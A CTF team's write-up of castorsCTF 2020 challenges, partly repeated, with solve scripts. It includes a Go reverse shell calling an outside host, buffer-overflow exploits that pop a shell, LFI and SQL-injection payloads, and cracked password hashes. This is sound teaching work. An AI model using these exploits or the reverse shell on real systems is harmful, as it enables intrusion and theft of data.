r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
